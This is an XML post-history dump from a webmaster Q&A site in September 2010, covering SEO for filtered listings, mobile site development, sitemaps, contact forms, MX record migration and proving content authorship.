  <row Id="6679" PostHistoryTypeId="1" PostId="3404" RevisionGUID="621b4a09-2f82-44ea-8525-396a09e896df" CreationDate="2010-09-30T05:43:44.290" UserId="2026" Text="Google webmaster tool is not updating my site related information" />
  <row Id="6680" PostHistoryTypeId="3" PostId="3404" RevisionGUID="621b4a09-2f82-44ea-8525-396a09e896df" CreationDate="2010-09-30T05:43:44.290" UserId="2026" Text="&lt;google-webmaster-tools&gt;" />
  <row Id="6681" PostHistoryTypeId="2" PostId="3405" RevisionGUID="1d7e6826-0f50-4054-a072-805a4a05fb04" CreationDate="2010-09-30T07:25:26.900" UserId="2141" Text="http://port70.net/webless/ ?" />
  <row Id="6682" PostHistoryTypeId="2" PostId="3406" RevisionGUID="923d5175-9383-48f9-b6e3-899a336437a4" CreationDate="2010-09-30T07:42:51.313" UserDisplayName="Mike" Text="I'm finishing up development on a tourist information website that lists hotels, restaurants, bars, among other things for an up-and-coming tourist area in Cambodia:&#xD;&#xA; http://www.gosihanoukville.com/dining/index.html&#xD;&#xA;&#xD;&#xA;Sections of the site that have listings are listed in a default order, and the visitor can choose to sort these listings on demand. There is also a section on the left of these pages that allow &quot;filtering&quot; of the results on the page. For a better example, on the restaurant page, there are filters for type of cuisine, location and budget. The cuisine filters at the top are the only ones that I want indexed - in case people search for &quot;indian food in sihanoukville&quot;. The location and budget filters are just there for convenience, and could have been displayed with AJAX, but I wanted people to be able to bookmark them.&#xD;&#xA;&#xD;&#xA;What I've done is set the meta robots tags on the pages I don't want indexed as &quot;noindex, follow&quot;, and &quot;index, follow&quot; on all other pages. I have, however seen people use rel=&quot;nofollow&quot; in their anchor tags. Which is the better practice? Or is it better to have them indexed anyway despite having duplicate content?&#xD;&#xA;&#xD;&#xA;Thanks. " />
  <row Id="6683" PostHistoryTypeId="1" PostId="3406" RevisionGUID="923d5175-9383-48f9-b6e3-899a336437a4" CreationDate="2010-09-30T07:42:51.313" UserDisplayName="Mike" Text="Optimizing with filtered results?" />
  <row Id="6684" PostHistoryTypeId="3" PostId="3406" RevisionGUID="923d5175-9383-48f9-b6e3-899a336437a4" CreationDate="2010-09-30T07:42:51.313" UserDisplayName="Mike" Text="&lt;seo&gt;&lt;url&gt;&lt;indexing&gt;" />
  <row Id="6685" PostHistoryTypeId="2" PostId="3407" RevisionGUID="1243d383-8f4b-48d6-b8fe-3055bbb2421a" CreationDate="2010-09-30T07:54:48.617" UserId="1279" Text="I'm going to create a mobile version of a website. &#xD;&#xA;&#xD;&#xA;This is the first time I'll be creating a mobile specific website.&#xD;&#xA;&#xD;&#xA;What do I need to know? What do I need to be aware off?&#xD;&#xA;&#xD;&#xA;Good tips and resources requested!&#xD;&#xA;&#xD;&#xA;-- Sri" />
  <row Id="6686" PostHistoryTypeId="1" PostId="3407" RevisionGUID="1243d383-8f4b-48d6-b8fe-3055bbb2421a" CreationDate="2010-09-30T07:54:48.617" UserId="1279" Text="Creating a mobile website.." />
  <row Id="6687" PostHistoryTypeId="3" PostId="3407" RevisionGUID="1243d383-8f4b-48d6-b8fe-3055bbb2421a" CreationDate="2010-09-30T07:54:48.617" UserId="1279" Text="&lt;mobile&gt;" />
  <row Id="6688" PostHistoryTypeId="2" PostId="3408" RevisionGUID="499cd624-7a63-4206-ae6e-fdd58228a2a7" CreationDate="2010-09-30T08:14:57.013" UserId="1064" Text="&gt; What do I need to know?&#xD;&#xA;&#xD;&#xA;I'd start with the W3C's [Mobile Web Best Practices 1.0][1] and see what sites like [Smashing Magazine][2] have to say about designing sites for mobile devices.&#xD;&#xA;&#xD;&#xA;&gt; What do I need to be aware off?&#xD;&#xA;&#xD;&#xA;[WAP][3] is pretty much dead with the advent of [mobile phone browsers][4] (usually stripped-down versions of traditional desktop browsers) - there is no pressing need to stress over arcane protocols when the tools you've become accustomed to will suffice.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/mobile-bp/&#xD;&#xA;  [2]: http://www.smashingmagazine.com/&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Wireless_Application_Protocol&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Category:Mobile_phone_web_browsers" />
  <row Id="6689" PostHistoryTypeId="2" PostId="3409" RevisionGUID="e18cb0ff-72b1-4bb8-9310-7b359c8ce5b9" CreationDate="2010-09-30T08:24:54.697" UserId="771" Text="One of our competitors constantly copies all our website content.   &#xD;&#xA;Now, I assume the trouble is to proof that we wrote the content first and  that it is not the other way round.   &#xD;&#xA;I checked on http://www.archive.org, but there is nothing. Any other way to proof that?&#xD;&#xA;&#xD;&#xA;FYI: We are a swiss company, so different laws will apply. &#xD;&#xA;&#xD;&#xA;Cheers&#xD;&#xA;&#xD;&#xA;Remy" />
  <row Id="6690" PostHistoryTypeId="1" PostId="3409" RevisionGUID="e18cb0ff-72b1-4bb8-9310-7b359c8ce5b9" CreationDate="2010-09-30T08:24:54.697" UserId="771" Text="Website content copied - How can I proof that I wrote it?" />
  <row Id="6691" PostHistoryTypeId="3" PostId="3409" RevisionGUID="e18cb0ff-72b1-4bb8-9310-7b359c8ce5b9" CreationDate="2010-09-30T08:24:54.697" UserId="771" Text="&lt;content&gt;&lt;copyright&gt;" />
  <row Id="6692" PostHistoryTypeId="2" PostId="3410" RevisionGUID="2c8c9954-51cf-430a-b8ac-003d17663d3b" CreationDate="2010-09-30T09:00:49.387" UserId="1243" Text="I don't think the report in Google Webmaster Tools is necessarily updated that often. There should be a date when the report was last updated below the table of crawl errors on the right hand side. How often it is updated _might_ depend on how much traffic your site gets?&#xD;&#xA;&#xD;&#xA;For instance, for a site I'm currently looking at (today being Sept 30, 2010), the report was last updated on Sep 7, 2010 - over 3 weeks ago!" />
  <row Id="6693" PostHistoryTypeId="5" PostId="3410" RevisionGUID="1ae66ee9-71ff-42ea-9927-0b112ff2cc8f" CreationDate="2010-09-30T09:08:21.603" UserId="1243" Comment="added 172 characters in body" Text="I don't think the report in Google Webmaster Tools is necessarily updated that often. There should be a date when the report was last updated below the table of crawl errors on the right hand side. How often it is updated _might_ depend on how much traffic your site gets?&#xD;&#xA;&#xD;&#xA;For instance, for a site I'm currently looking at (today being Sept 30, 2010), the report was last updated on Sep 7, 2010 - over 3 weeks ago!&#xD;&#xA;&#xD;&#xA;Also, the right hand column of that report should indicate when the fault was detected. If this was _before_ you corrected the problem then it probably isn't a problem!" />
  <row Id="6694" PostHistoryTypeId="2" PostId="3411" RevisionGUID="8b34196d-4f5c-416c-a6f8-b0e21a51454e" CreationDate="2010-09-30T09:32:01.830" UserId="1243" Text="May be one of the services that copyscape.com offer can help?&#xD;&#xA;&#xD;&#xA;&gt; _Copysentry_ protects your site against&#xD;&#xA;&gt; content theft by monitoring the web&#xD;&#xA;&gt; daily or weekly for copies of your&#xD;&#xA;&gt; content and sending you email when new&#xD;&#xA;&gt; copies appear.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Copysentry's advanced features include&#xD;&#xA;&gt; case tracking and follow-up and a&#xD;&#xA;&gt; browser for viewing previous results.&#xD;&#xA;&#xD;&#xA;However, this is not a free service.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6695" PostHistoryTypeId="2" PostId="3412" RevisionGUID="2cbd1173-09e0-453e-bb31-da4b1c27a487" CreationDate="2010-09-30T09:55:16.837" UserId="1585" Text="I read up on the limitations and how you can link multiple sitemaps. But my question is, are they to contain links to EVERYTHING or just the most recent X thousand changes?" />
  <row Id="6696" PostHistoryTypeId="1" PostId="3412" RevisionGUID="2cbd1173-09e0-453e-bb31-da4b1c27a487" CreationDate="2010-09-30T09:55:16.837" UserId="1585" Text="Does sitemap.xml contain links to the entire site? " />
  <row Id="6697" PostHistoryTypeId="3" PostId="3412" RevisionGUID="2cbd1173-09e0-453e-bb31-da4b1c27a487" CreationDate="2010-09-30T09:55:16.837" UserId="1585" Text="&lt;sitemap&gt;" />
  <row Id="6698" PostHistoryTypeId="2" PostId="3413" RevisionGUID="99ff80c0-455b-49d7-a2e2-883f8101eb94" CreationDate="2010-09-30T10:21:14.130" UserId="1857" Text="**Ideally your sitemap.xml contains:**&#xD;&#xA;&#xD;&#xA; - **Every** page on your site (at least every one that you want indexed, login pages, legal boilerplate, certain archives etc should perhaps be exluded).&#xD;&#xA; - With a correct `&lt;lastmod&gt;` date accurately reflecting when the content of the page last changed.&#xD;&#xA;&#xD;&#xA;Now, if your site is *very* large, you might need to use the sitemap to only inform the search engines of the newest, most recently added pages on your site. Alternatively you can make multiple sitemaps to keep each [sitemap below the size limits][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Sitemaps#Sitemap_limits" />
  <row Id="6699" PostHistoryTypeId="2" PostId="3414" RevisionGUID="168ba186-ecc2-4fbe-8b8c-44e0abc0ebeb" CreationDate="2010-09-30T10:42:20.960" UserId="1429" Text="Squirrelmail is a good example of ligthweight webmail client.&#xD;&#xA;&#xD;&#xA;In order to get it in avery EASY way, you have 3 options:&#xD;&#xA;&#xD;&#xA;1. [CHEAP SOLUTION] You buy a **cPanel account** (you get one for few bucks with almost any Hosting provider selling Linux + cPanel hosting plan). Squirrelmail is already instelled there for all your email accounts you are gonna create.&#xD;&#xA;&#xD;&#xA;2. [ANOTHER CHEAP SOLUTION] You buy a **cPanel account** (same of point 1), look in cPanel menu and you probably have a functionality called **Scriptacolus**.&#xD;&#xA;If you go in there you can install Squirrelmail **in one step** under your domain. The difference compared to (1) is that on this version (installed via Scriptacolus) you own FULL RIGHTS, so you can [install plugins][1] and improve skin using simple HTML/CSS, and whatever you like to make it more beautiful.&#xD;&#xA;&#xD;&#xA;3. [A BIT MORE EXENSIVE SOLUTION] You buy a **Virtual Private Server with cPanel account**. This time you have full ROOT access to your server so you can do operations suggested in point (2) (plugins/skins, etc) but directly in server cPanel installation of Squirrelmail.&#xD;&#xA;&#xD;&#xA;**For (2) and (3) only:** if you don't have time to waste looking how to install SQMAIL plugins and improve skins, you can also go to http://www.nutsmail.com/ and buy (for few bucks) very nice skins with already all the plugins, so you don't even need to do the effort to install them.&#xD;&#xA;&#xD;&#xA;**For all:** last but not least, in my experience I saw people complaining about Squirellmail because is ugly looking. Actually the default skin is quite ugly, but you simply need to go in Squirrelmail account options and use set &quot;Ice Theme - sans 10&quot; to get a much better looking skin with no effort.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://squirrelmail.org/plugins.php" />
  <row Id="6700" PostHistoryTypeId="2" PostId="3415" RevisionGUID="75c1e6f3-4c93-4d49-b3cb-96968608ad07" CreationDate="2010-09-30T10:42:50.133" UserId="576" Text="You can consider notifying about your site updates on social media (Twitter, Facebook etc) as soon as you post. The timestamp recorded there can be a fair indicator that you wrote first.&#xD;&#xA;&#xD;&#xA;Assuming, popular search engines already index your web-pages regularly (use the site operator, site:example.com, to find out) the date in the cached copy can be used as a rough indicator of when the content was published.&#xD;&#xA;&#xD;&#xA;As [this article suggests][1], you can write a polite email to your competitors to desist from copying &amp; then if that doesn't help, send a formal DMCA letter to his web hosting company and also possibly to his advertising partner(s) &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://labnol.blogspot.com/2007/09/dmca-notice-of-copyright-infringement.html" />
  <row Id="6701" PostHistoryTypeId="2" PostId="3416" RevisionGUID="cf4a3e9f-3ace-4bdf-ac1c-a113f301eca7" CreationDate="2010-09-30T11:32:39.773" UserId="1429" Text="If you live outside Europe my company can do this for you for 18€ / year :)&#xD;&#xA;But with a minimum of 3 years.&#xD;&#xA;&#xD;&#xA;Anyway if you look on Google there are dozens of registrars that can do this.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6702" PostHistoryTypeId="5" PostId="3410" RevisionGUID="6a48b5b0-c1aa-468a-b01f-ece1e064e8be" CreationDate="2010-09-30T11:43:06.383" UserId="1243" Comment="added 9 characters in body" Text="I don't think the report in Google Webmaster Tools is necessarily updated that often. There should be a date when the report was last updated below the table of crawl errors on the right hand side. How often it is updated _might_ depend on how much traffic your site gets?&#xD;&#xA;&#xD;&#xA;For instance, for a site I'm currently looking at (today being Sept 30, 2010), the report was last updated on Sep 7, 2010 - over 3 weeks ago!&#xD;&#xA;&#xD;&#xA;Also, the right hand column of that report should indicate when the fault was detected. If this was _before_ you corrected the problem then it probably isn't a problem any more!" />
  <row Id="6703" PostHistoryTypeId="2" PostId="3417" RevisionGUID="e952aba7-b057-4379-85f0-1821e02060c9" CreationDate="2010-09-30T12:15:45.157" UserId="1064" Text="If you have a financial interest in protecting your copy, I would recommend consulting a lawyer who is familiar with prosecuting copyright infringement in your jurisdiction." />
  <row Id="6704" PostHistoryTypeId="5" PostId="3409" RevisionGUID="fcbbf32d-9cae-42c2-a0a5-de3d9c830857" CreationDate="2010-09-30T12:17:37.637" UserId="771" Comment="added 300 characters in body" Text="One of our competitors constantly copies all our website content.   &#xD;&#xA;Now, I assume the trouble is to proof that we wrote the content first and  that it is not the other way round.   &#xD;&#xA;I checked on http://www.archive.org, but there is nothing. Any other way to proof that?&#xD;&#xA;&#xD;&#xA;FYI: We are a swiss company, so different laws will apply. &#xD;&#xA;&#xD;&#xA;Cheers&#xD;&#xA;&#xD;&#xA;Remy&#xD;&#xA;&#xD;&#xA;Solution: [Found later]  &#xD;&#xA;You can upload your content to this service and that they basically timestamp it.  &#xD;&#xA;https://myows.com/  &#xD;&#xA;&#xD;&#xA;Another way we found, is to just print out your copy/design, etc. put it into an envelop and send it to ourself (without actually opening it later of course).&#xD;&#xA;" />
  <row Id="6705" PostHistoryTypeId="5" PostId="3402" RevisionGUID="3e532797-b475-4158-aeca-ce80c2f36c48" CreationDate="2010-09-30T12:42:13.580" UserId="1847" Comment="Fixed a typo" Text="I didn't read the link above, but no doubt that http 301 &quot;permanent&quot; redirects will be important to preserving both bookmarks and search ranking." />
  <row Id="6706" PostHistoryTypeId="2" PostId="3418" RevisionGUID="4cad102b-2d79-41cc-947c-7007775e613c" CreationDate="2010-09-30T13:15:30.843" UserId="1725" Text="Often you'll see websites with a &quot;For any questions, please contact us...&quot; followed by a box for your name, email, subject, maybe some invoice data...&#xD;&#xA;&#xD;&#xA;When should these be implemented on a website? Are there any statistics out there on use of these? What are some alternatives?" />
  <row Id="6707" PostHistoryTypeId="1" PostId="3418" RevisionGUID="4cad102b-2d79-41cc-947c-7007775e613c" CreationDate="2010-09-30T13:15:30.843" UserId="1725" Text="How should I deal with a 'Contact Us' Form?" />
  <row Id="6708" PostHistoryTypeId="3" PostId="3418" RevisionGUID="4cad102b-2d79-41cc-947c-7007775e613c" CreationDate="2010-09-30T13:15:30.843" UserId="1725" Text="&lt;website-design&gt;&lt;usability&gt;&lt;contact-page&gt;" />
  <row Id="6709" PostHistoryTypeId="2" PostId="3419" RevisionGUID="3dc0f5e9-de7c-44fe-a2bc-609f39ec28f2" CreationDate="2010-09-30T13:37:50.423" UserId="1253" Text="Whatever the recipient needs to know to assist the user should be included on the form. &#xD;&#xA;&#xD;&#xA;Never ask for less then what you need. All you really need is a name and a contact method (email address, phone number) but in some situations asking for more information, like a product serial number if it is a warranty issue, etc, should be required as it greatly expedites the process of assisting the user. The goal is not to discourage users from contacting you but getting as much information as you can so the process of assisting them is smooth and easy for both parties..&#xD;&#xA;&#xD;&#xA;Never *require* more then than that. You can ask for more but don't require it. You don't want to turn away users just because they feel like completing the form is a chore (or have difficulty with a field/information).&#xD;&#xA;" />
  <row Id="6710" PostHistoryTypeId="2" PostId="3420" RevisionGUID="8748444a-1019-4d59-9ee2-f1cdd4df9a1d" CreationDate="2010-09-30T13:38:20.750" UserId="1265" Text="Unless you have some pressing need to insulate employees from contact with the world except through email, a contact page should have proper contact information on it. Every piece of information should be transparent (and accurate). People visiting contact pages are largely performing research or attempting to find information about products/services that is not otherwise available on the website (for whatever reason).&#xD;&#xA;&#xD;&#xA;Not having information such as an address, phone number, and an email address can be very off-putting to potential customers. If they don't believe they can contact someone at the company related to problems they may have in the future, they may choose to go elsewhere." />
  <row Id="6711" PostHistoryTypeId="2" PostId="3421" RevisionGUID="2f5aff58-aec9-4472-8004-c2645962b664" CreationDate="2010-09-30T13:39:30.180" UserId="576" Text="Some nice articles on this topic -&#xD;&#xA;&#xD;&#xA; - State of mobile web development -&#xD;&#xA;   part [1][1],[2][2],[3][3]&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA; - [Mobile-friendly: The mobile web   &#xD;&#xA;   optimization guide][4]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.quirksmode.org/blog/archives/2010/09/state_of_mobile.html&#xD;&#xA;  [2]: http://www.quirksmode.org/blog/archives/2010/09/state_of_mobile_1.html&#xD;&#xA;  [3]: http://www.quirksmode.org/blog/archives/2010/09/state_of_mobile_2.html&#xD;&#xA;  [4]: http://dev.opera.com/articles/view/the-mobile-web-optimization-guide/" />
  <row Id="6712" PostHistoryTypeId="4" PostId="3409" RevisionGUID="eaf9ded7-d8ff-4d69-b93a-1c933b7d2d78" CreationDate="2010-09-30T13:40:11.110" UserId="19" Comment="corrected misspelling in title" Text="Website content copied - How can I prove that I wrote it?" />
  <row Id="6713" PostHistoryTypeId="5" PostId="3413" RevisionGUID="f187cd33-77e8-4a9c-b690-f9774706b41b" CreationDate="2010-09-30T14:10:25.650" UserId="1857" Comment="added 44 characters in body" Text="**Ideally your sitemap.xml contains:**&#xD;&#xA;&#xD;&#xA; - **Every page on your site** (at least every one that you want indexed; login pages, legal boilerplate, certain archives etc should perhaps be exluded).&#xD;&#xA; - **With a correct `&lt;lastmod&gt;`** date accurately reflecting when the *content* of the page last changed.&#xD;&#xA;&#xD;&#xA;Now, if your site is *very* large, you might need to use the sitemap to only inform the search engines of the newest, most recently added pages on your site. Alternatively you can make multiple sitemaps to have all pages included while still keeping each [sitemap below the size limit][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Sitemaps#Sitemap_limits" />
  <row Id="6714" PostHistoryTypeId="2" PostId="3422" RevisionGUID="1a83a770-d086-45f1-a513-a213c3b71035" CreationDate="2010-09-30T14:15:35.113" UserId="871" Text="Use a captcha or else you will get spam." />
  <row Id="6715" PostHistoryTypeId="2" PostId="3423" RevisionGUID="112ba544-392a-4590-87f8-37ff574130d8" CreationDate="2010-09-30T15:27:04.380" UserId="576" Text="[Zoho Creator][1] lets you create a Contact/Feedback form without coding.&#xD;&#xA;&#xD;&#xA;Once configured, Zoho Creator provides you a code snippet that you can paste into your web pages. When the page is rendered, the Form appears within an IFRAME. When a visitor fills the feedback form, the values are saved to a database that can be accessed online and the values submitted can also be sent to an email address that you specify.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.zoho.com/creator/html-form-builder.html" />
  <row Id="6716" PostHistoryTypeId="5" PostId="3419" RevisionGUID="67578f6e-ad55-4076-a3ac-a6fa15aa342c" CreationDate="2010-09-30T15:58:00.647" UserId="1253" Comment="added 624 characters in body" Text="Whatever the recipient needs to know to assist the user should be included on the form. &#xD;&#xA;&#xD;&#xA;Never ask for less then what you need. All you really need is a name and a contact method (email address, phone number) but in some situations asking for more information, like a product serial number if it is a warranty issue, etc, should be required as it greatly expedites the process of assisting the user. The goal is not to discourage users from contacting you but getting as much information as you can so the process of assisting them is smooth and easy for both parties..&#xD;&#xA;&#xD;&#xA;Never *require* more then than that. You can ask for more but don't require it. You don't want to turn away users just because they feel like completing the form is a chore (or have difficulty with a field/information).&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;&gt;Would you say having a contact form is better by any given measure than simply saying &quot;contact me at user1725@example.com or by phone at 1800-555-2600&quot; ?&#xD;&#xA;&#xD;&#xA;Yes. Not only does it prevent the email address from being displayed which prevents spam and allows it to change without affecting users, but it allows you do ask whatever you need from users instead of hoping they provide you with the information you need (they rarely do). Having a phone number is a good idea if phone support is available as many people prefer it and it provide an immediate response which can be good for sales/customer relations." />
  <row Id="6717" PostHistoryTypeId="2" PostId="3424" RevisionGUID="a2a0a1ad-ba3b-4b10-8f37-563502824d75" CreationDate="2010-09-30T16:20:20.033" UserId="1857" Text="If you're building a mobile site, then *you are entering a world of pain!* **Seriously.** I have spent a year as project manager on mobile web portal projects, and the browser bugs and platform differences are orders of magnitude worse than full-PC web application development.&#xD;&#xA;&#xD;&#xA;The first thing I will say is: Look carefully at the business case. There is a first-mover advantage to the mobile space right now; but you may or may not earn money from a mobile version. Think carefully about this.&#xD;&#xA;&#xD;&#xA;The second thing is: Consider device support *very* carefully. As you add devices the support and quality assurance burden practically explodes. If you can get away with only supporting iPhones + Androids, then do so. At least make a finite list of which phones are fully supported, and which are supported with some rendering fault allowed." />
  <row Id="6718" PostHistoryTypeId="5" PostId="3424" RevisionGUID="3e50f642-72f6-44ae-84db-0d82c3656cc0" CreationDate="2010-09-30T16:40:15.710" UserId="1857" Comment="added 1233 characters in body; added 9 characters in body; edited body" Text="If you're building a mobile site, then *you are entering a world of pain!* **Seriously.** I have spent a year as project manager on mobile web portal projects, and the browser bugs and platform differences are orders of magnitude worse than full-PC web application development.&#xD;&#xA;&#xD;&#xA;The first thing I will say is: **Look carefully at the business case.** There is a first-mover advantage to the mobile space right now; but you may or may not earn money from a mobile version. Think carefully about this.&#xD;&#xA;&#xD;&#xA;The second thing is: **Limit device targets as much as possible.** As you add devices the customer support and quality assurance burdens practically explode. If you can get away with only supporting iPhones + Androids, then do so. At least set a fixed list of which phones are fully supported, and which are partially supported, and keep it at that.&#xD;&#xA;&#xD;&#xA;The 4 main 'families' of formats for mobile websites are:&#xD;&#xA;&#xD;&#xA; - **HTML 5.** Only works on state-of-the-art mobiles (practically means iPhones and Androids right now).&#xD;&#xA; - [XHTML Mobile][1]. What you want for all not-so-new Nokias, Sony-Ericssons, etc. In other words the bulk of the installed based of handsets out there, but often a surprisingly small percentage of actual data traffic.&#xD;&#xA; - Tag soup, i.e. HTML 4.01, full XHTML 1.0 etc. Works as 'tag soup' does, only compatible with fairly recent phones.&#xD;&#xA; - WAP. For almost all use cases this format is dead now. I would not consider it for any kind of green-field development anymore. (The phones that only can do WAP are so old and broken that no human will really want to use them as compute platforms. Think monochrome screens, no QWERTY keyboard etc.)&#xD;&#xA;&#xD;&#xA;Last but not least, **consider native applications, possibly 'hybrid' apps** which have some part of the application chrome and logic installed locally, and pull other content in via the network. Developing native applications for the iPhone is really surprisingly cheap, and native apps are of course faster and more user-friendly than in-browser apps.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/XHTML_Mobile_Profile" />
  <row Id="6719" PostHistoryTypeId="2" PostId="3425" RevisionGUID="ac9013e5-0be8-40b8-861a-5908b8d187c1" CreationDate="2010-09-30T16:52:28.040" UserId="1705" Text="I usually have mine only contain links to every page on my site ... **that I want to get indexed by search engines**.  Search engines are the only users who read the sitemap.xml, so I would not include pages that you do not want to get indexed.&#xD;&#xA;&#xD;&#xA;Two examples:&#xD;&#xA;&#xD;&#xA; 1. Admin areas&#xD;&#xA; 2. Duplicate pages (like archives in wordpress)&#xD;&#xA;&#xD;&#xA;Now the actual sitemap web page should contain a link to every single page in your website (or at least a way to get to every page). " />
  <row Id="6720" PostHistoryTypeId="2" PostId="3426" RevisionGUID="58dd500a-bb10-4581-81c2-0c235dc98451" CreationDate="2010-09-30T16:53:59.567" UserId="2059" Text="I run Google Apps email and have traditionally hosted my own DNS records through my Plesk setup.  It has been recommended to us that we'd more reliably serve emails during downtime if we kept the MX and CNAME listings required by Google Apps hosted at Enom instead of handling it internally.&#xD;&#xA;&#xD;&#xA;I have essentially copied the settings from Plesk over to Enom.  The domain itself forwards with no problem, but the MX records, while they seem to be input into Enom without error, never seem to reroute my mail.  If I try to send to the email address I'm trying to route, I get the following error bounced back:&#xD;&#xA;&#xD;&#xA;Google tried to deliver your message, but it was rejected by the recipient domain. We recommend contacting the other email provider for further information about the cause of this error. The error that the other server returned was: 553 553 sorry, that domain isn't in my list of allowed rcpthosts (#5.7.1) (state 14).&#xD;&#xA;&#xD;&#xA;This sort of error gets referenced a lot with regard to propogation, but It's been two days and Enom updates everything else almost instantly. &#xD;&#xA;&#xD;&#xA;Ideas?&#xD;&#xA;" />
  <row Id="6721" PostHistoryTypeId="1" PostId="3426" RevisionGUID="58dd500a-bb10-4581-81c2-0c235dc98451" CreationDate="2010-09-30T16:53:59.567" UserId="2059" Text="I'm having some trouble moving MX records to the registrars DNS" />
  <row Id="6722" PostHistoryTypeId="3" PostId="3426" RevisionGUID="58dd500a-bb10-4581-81c2-0c235dc98451" CreationDate="2010-09-30T16:53:59.567" UserId="2059" Text="&lt;email&gt;&lt;google-apps&gt;" />
  <row Id="6723" PostHistoryTypeId="2" PostId="3427" RevisionGUID="9f559149-42c3-4bc4-a0df-c7ce643a869d" CreationDate="2010-09-30T16:58:16.127" UserId="1857" Text="**One comment, one idea:**&#xD;&#xA;&#xD;&#xA;The comment is that this question is probably better served at serverfault.com or superuser.com (I honestly don't know which one is most appropriate).&#xD;&#xA;&#xD;&#xA;The idea is that you should include the full bounced mail headers in your question, and state which exact domain is having this problem. DNS is a public system, so once we know what domain it is, we can look at the information you're publicizing in DNS and tell you where the problem is." />
  <row Id="6724" PostHistoryTypeId="5" PostId="3424" RevisionGUID="83676a76-a69d-4321-a148-4af12b8249ad" CreationDate="2010-09-30T17:12:03.617" UserId="1857" Comment="added 712 characters in body; added 192 characters in body" Text="If you're building a mobile site, then *you are entering a world of pain!* **Seriously.** I have spent a year as project manager on mobile web portal projects, and the browser bugs and platform differences are orders of magnitude worse than full-PC web application development.&#xD;&#xA;&#xD;&#xA;The first thing I will say is: **Look carefully at the business case.** There is a first-mover advantage to the mobile space right now; but you may or may not earn money from a mobile version. Think carefully about this.&#xD;&#xA;&#xD;&#xA;The second thing is: **Limit device targets as much as possible.** As you add devices the customer support and quality assurance burdens practically explode. If you can get away with only supporting iPhones + Androids, then do so. At least set a fixed list of which phones are fully supported, and which are partially supported, and keep it at that.&#xD;&#xA;&#xD;&#xA;**You will not be able to target all devices 'well' with one technology solution.** (At least not unless you define 'well' as pure text, left aligned, minimal styling). The 4 main 'families' of formats for mobile websites are:&#xD;&#xA;&#xD;&#xA; - [HTML 5][1]. 'Best' compromise between strong features and strict, consistent parsing right now. Only works on state-of-the-art mobiles (practically means iPhones and Androids right now).&#xD;&#xA; - [XHTML Mobile][2]. Most compatible, widest device support. What you want for all not-brand-new Nokias, Sony-Ericssons, etc. In other words XHTML Mobile works with the bulk of the installed based of handsets. But often the users of these handsets don't really use mobile sites that much, so they are a lesser percentage of actual visits to mobile properties.&#xD;&#xA; - Tag soup, i.e. HTML 4.01, full XHTML 1.0 etc. Works as 'tag soup' does, only compatible with very recent phone models.&#xD;&#xA; - WAP. For almost all use cases this format is dead now. I would not consider it for any kind of green-field development anymore. (The phones that only can do WAP are so old and broken that no human will really want to use them as compute platforms. Think monochrome screens, no QWERTY keyboard etc.)&#xD;&#xA;&#xD;&#xA;Nota bene: Only state of the art mobiles support Javascript (again, limited support on iPhones, decent on Android, some other smartphones with different operating systems have Javascript support but only in very recent models).&#xD;&#xA;&#xD;&#xA;Last but not least, **consider native applications, possibly 'hybrid' apps** which have some part of the application chrome and logic installed locally, and pull other content in via the network. Developing native applications for the iPhone is really surprisingly cheap, and native apps are of course faster and more user-friendly than in-browser apps.&#xD;&#xA;&#xD;&#xA;&gt; What do I need to know? What do I need to be aware off?&#xD;&#xA;&#xD;&#xA;If that is were you are at now, then either be prepared to spend a lot of time learning, or consider hiring in external know-how.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.readwriteweb.com/start/2010/01/html5-is-great-for-mobile.php&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/XHTML_Mobile_Profile" />
  <row Id="6725" PostHistoryTypeId="2" PostId="3428" RevisionGUID="7b5afc88-c50e-414c-8fe2-f66c71f309a4" CreationDate="2010-09-30T17:35:35.977" UserId="1064" Text="You might be waiting on the [TTL][1] (regardless of how quickly eNom updates their DNS records, the TTL will likely be observed by intermediary systems which have cached the MX record), however, the more likely culprit after 48 hours would be your [Plesk settings][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Time_to_live#DNS_records&#xD;&#xA;  [2]: http://kb.parallels.com/en/168" />
  <row Id="6726" PostHistoryTypeId="2" PostId="3429" RevisionGUID="c1790d0f-8eca-4311-a132-0ff1f0dfb702" CreationDate="2010-09-30T20:41:08.110" UserId="19" Text="I would send Google an email and ask them specifically why you were rejected.  &#xD;&#xA;&#xD;&#xA;I worked with a client for a few months in setting up their Google Base feed for selling products online. They were rejected 10 times in a row (each time for different reasons). But Google was very quick to reply and give specific reasons as to why they were rejected." />
  <row Id="6727" PostHistoryTypeId="2" PostId="3430" RevisionGUID="8d1c579d-c935-4ade-b580-0bcdbcd31327" CreationDate="2010-09-30T21:07:13.550" UserDisplayName="TreyK" Text="&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;I'm having some trouble getting a float right on my website. I'm floating an image over to the right, and the text on the left wraps around the image... as long as the browser isn't too wide. I have a h2 under that paragraph that tends to creep up and go on top of that image. How could I fix this?&#xD;&#xA;&#xD;&#xA;Page in question here: http://darcrobotics.org/?page=20&#xD;&#xA;&#xD;&#xA;Thanks,&lt;br&gt;&#xD;&#xA;-Trey" />
  <row Id="6728" PostHistoryTypeId="1" PostId="3430" RevisionGUID="8d1c579d-c935-4ade-b580-0bcdbcd31327" CreationDate="2010-09-30T21:07:13.550" UserDisplayName="TreyK" Text="CSS float issue?" />
